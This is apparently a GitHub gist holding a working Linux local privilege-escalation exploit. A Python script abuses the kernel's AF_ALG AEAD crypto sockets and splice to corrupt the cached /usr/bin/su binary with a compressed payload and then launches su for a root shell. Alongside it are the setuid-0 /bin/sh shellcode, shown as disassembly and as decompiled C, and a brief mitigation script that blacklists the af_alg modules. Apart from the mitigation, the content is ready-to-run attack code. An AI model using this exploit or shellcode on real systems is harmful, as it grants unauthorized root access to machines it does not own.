depau revised this gist 2 weeks ago. Go to revision
1 file changed, 0 insertions, 0 deletions
payload.elf(file created)
Binary file changes are not shown
depau revised this gist 2 weeks ago. Go to revision
2 files changed, 28 insertions
payload.S(file created)
| @@ -0,0 +1,19 @@ | |||
| 1 | + | 0000000000000078 <.data+0x78>: | |
| 2 | + | 78: 31 c0 xor %eax,%eax | |
| 3 | + | 7a: 31 ff xor %edi,%edi | |
| 4 | + | 7c: b0 69 mov $0x69,%al | |
| 5 | + | 7e: 0f 05 syscall | |
| 6 | + | 80: 48 8d 3d 0f 00 00 00 lea 0xf(%rip),%rdi # 0x96 | |
| 7 | + | 87: 31 f6 xor %esi,%esi | |
| 8 | + | 89: 6a 3b push $0x3b | |
| 9 | + | 8b: 58 pop %rax | |
| 10 | + | 8c: 99 cltd | |
| 11 | + | 8d: 0f 05 syscall | |
| 12 | + | 8f: 31 ff xor %edi,%edi | |
| 13 | + | 91: 6a 3c push $0x3c | |
| 14 | + | 93: 58 pop %rax | |
| 15 | + | 94: 0f 05 syscall | |
| 16 | + | 96: 2f (bad) | |
| 17 | + | 97: 62 69 6e 2f 73 (bad) | |
| 18 | + | 9c: 68 .byte 0x68 | |
| 19 | + | 9d: 00 00 add %al,(%rax) | |
payload.c(file created)
| @@ -0,0 +1,9 @@ | |||
| 1 | + | // Decompiled by Binary Ninja | |
| 2 | + | ||
| 3 | + | void _start() __noreturn | |
| 4 | + | { | |
| 5 | + | syscall(sys_setuid {0x69}, 0); | |
| 6 | + | syscall(sys_execve {0x3b}, "/bin/sh", nullptr, nullptr); | |
| 7 | + | syscall(sys_exit {0x3c}, 0); | |
| 8 | + | /* no return */ | |
| 9 | + | } | |
depau revised this gist 2 weeks ago. Go to revision
2 files changed, 94 insertions
exploit.py(file created)
| @@ -0,0 +1,80 @@ | |||
| 1 | + | #!/usr/bin/env python3 | |
| 2 | + | import os | |
| 3 | + | import zlib | |
| 4 | + | import socket | |
| 5 | + | ||
| 6 | + | # Helper to convert hex strings to byte arrays | |
| 7 | + | def hex_to_bytes(hex_str): | |
| 8 | + | return bytes.fromhex(hex_str) | |
| 9 | + | ||
| 10 | + | def trigger_kernel_corruption(target_file, offset, payload_chunk): | |
| 11 | + | # AF_ALG (38) is the Linux Kernel Crypto API socket domain | |
| 12 | + | # SOCK_SEQPACKET (5) is the socket type | |
| 13 | + | alg_socket = socket.socket(38, 5, 0) | |
| 14 | + | ||
| 15 | + | # Bind to a specific AEAD (Authenticated Encryption with Associated Data) cipher | |
| 16 | + | # This specific cipher combination is often used to target memory flaws in the kernel | |
| 17 | + | alg_socket.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) | |
| 18 | + | ||
| 19 | + | # Socket option constants | |
| 20 | + | SOL_ALG = 279 | |
| 21 | + | ALG_SET_KEY = 1 | |
| 22 | + | ALG_SET_AEAD_AUTHSIZE = 5 | |
| 23 | + | ||
| 24 | + | # 1. Set the crypto key (malformed to trigger heap issues) | |
| 25 | + | key_data = hex_to_bytes('0800010000000010' + '0' * 64) | |
| 26 | + | alg_socket.setsockopt(SOL_ALG, ALG_SET_KEY, key_data) | |
| 27 | + | ||
| 28 | + | # 2. Set the authentication tag size | |
| 29 | + | alg_socket.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4) | |
| 30 | + | ||
| 31 | + | # Accept the connection to the crypto transform | |
| 32 | + | op_socket, _ = alg_socket.accept() | |
| 33 | + | ||
| 34 | + | # Construct the malicious control message (ancillary data) | |
| 35 | + | # This targets the internal kernel buffers by providing inconsistent lengths | |
| 36 | + | null_byte = hex_to_bytes('00') | |
| 37 | + | msg_control = [ | |
| 38 | + | (SOL_ALG, 3, null_byte * 4), # ALG_SET_IV | |
| 39 | + | (SOL_ALG, 2, b'\x10' + null_byte * 19), # ALG_SET_OP | |
| 40 | + | (SOL_ALG, 4, b'\x08' + null_byte * 3), # ALG_SET_AEAD_ASSOCLEN | |
| 41 | + | ] | |
| 42 | + | ||
| 43 | + | # Send the payload chunk to the kernel | |
| 44 | + | op_socket.sendmsg([b"A" * 4 + payload_chunk], msg_control, 0, 32768) | |
| 45 | + | ||
| 46 | + | # Use os.splice to move data from the target binary (su) into the socket | |
| 47 | + | # This bypasses standard user-space memory protections | |
| 48 | + | pipe_read, pipe_write = os.pipe() | |
| 49 | + | ||
| 50 | + | # Splice from file to pipe | |
| 51 | + | os.splice(target_file.fileno(), pipe_write, offset + 4, offset_src=0) | |
| 52 | + | # Splice from pipe to the exploit socket | |
| 53 | + | os.splice(pipe_read, op_socket.fileno(), offset + 4) | |
| 54 | + | ||
| 55 | + | try: | |
| 56 | + | # Attempt to receive the result of the "crypto" operation | |
| 57 | + | op_socket.recv(8 + offset) | |
| 58 | + | except Exception: | |
| 59 | + | pass | |
| 60 | + | ||
| 61 | + | # --- Main Execution --- | |
| 62 | + | ||
| 63 | + | # Open /usr/bin/su in read-only mode | |
| 64 | + | su_binary = os.open("/usr/bin/su", os.O_RDONLY) | |
| 65 | + | ||
| 66 | + | # Decompress the binary payload (the shellcode/memory overwrite data) | |
| 67 | + | compressed_payload = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" | |
| 68 | + | payload_bytes = zlib.decompress(hex_to_bytes(compressed_payload)) | |
| 69 | + | ||
| 70 | + | # Loop through the payload, spraying it into the kernel memory 4 bytes at a time | |
| 71 | + | current_offset = 0 | |
| 72 | + | while current_offset < len(payload_bytes): | |
| 73 | + | chunk = payload_bytes[current_offset : current_offset + 4] | |
| 74 | + | trigger_kernel_corruption(su_binary, current_offset, chunk) | |
| 75 | + | current_offset += 4 | |
| 76 | + | ||
| 77 | + | # If the exploit succeeded, the kernel has been tricked into thinking | |
| 78 | + | # the current process has root privileges. | |
| 79 | + | # Executing 'su' now should drop into a root shell without a password. | |
| 80 | + | os.system("su") | |
mitigation.sh(file created)
| @@ -0,0 +1,14 @@ | |||
| 1 | + | #!/usr/bin/env bash | |
| 2 | + | ||
| 3 | + | # Prevent vulnerable module from ever being loaded | |
| 4 | + | cat > /etc/modprobe.d/blacklist-af-alg.conf <<EOF | |
| 5 | + | blacklist af_alg | |
| 6 | + | blacklist algif_aead | |
| 7 | + | EOF | |
| 8 | + | ||
| 9 | + | # Remove the module if it's already loaded | |
| 10 | + | modprobe -r algif_aead | |
| 11 | + | modprobe -r af_alg | |
| 12 | + | ||
| 13 | + | # Drop all caches to undo the effects of previous exploit runs | |
| 14 | + | echo 1 > /proc/sys/vm/drop_caches | |